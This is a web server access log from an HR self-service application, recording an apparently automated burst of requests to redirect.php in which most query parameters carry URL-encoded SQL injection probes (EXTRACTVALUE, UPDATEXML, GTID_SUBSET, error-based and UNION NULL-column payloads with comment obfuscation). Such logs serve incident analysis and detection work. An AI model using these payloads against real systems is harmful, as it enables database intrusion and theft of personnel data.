100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66476b7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x495a7279%29%29%2C1%29--%2F%2A%2A%2FMzWD HTTP/1.1" 200 365 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6c703570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36365241%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FdaQD HTTP/1.1" 200 365 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6c703570%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36365241%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FdaQD HTTP/1.1" 200 365
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6745574c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64506b47%29%2C6420%29--%2F%2A%2A%2FBkRJ&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d695449%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30766d56%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FzD0n%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d695449%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30766d56%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FzD0n%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x68464870%2C%28NULL%29%2C0x50627248%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FJybh%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x64343764%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54363342%29%29--%2F%2A%2A%2Fadc3&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x714b7a62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50767066%29%2C6420%29--%2F%2A%2A%2Fganx&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4675577a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x656a3076%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4675577a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x656a3076%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x716c756e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33516a57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgmXo%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x716c756e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33516a57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgmXo%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b5a4433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41504658%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FQsuW%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39334764%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a64684b%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FyNcK%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39334764%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a64684b%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FyNcK%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d694a4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434d6656%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmdBe%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d694a4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434d6656%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmdBe%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3965697a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35785373%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3965697a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35785373%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4745506b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46397666%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F36uI%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4745506b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46397666%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F36uI%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4675577a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x656a3076%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d44666b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34796376%29%2C5431%29--%2F%2A%2A%2FbjdF&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d44666b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34796376%29%2C5431%29--%2F%2A%2A%2FbjdF&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6866664e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56564432%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYLAi%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6866664e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56564432%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYLAi%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
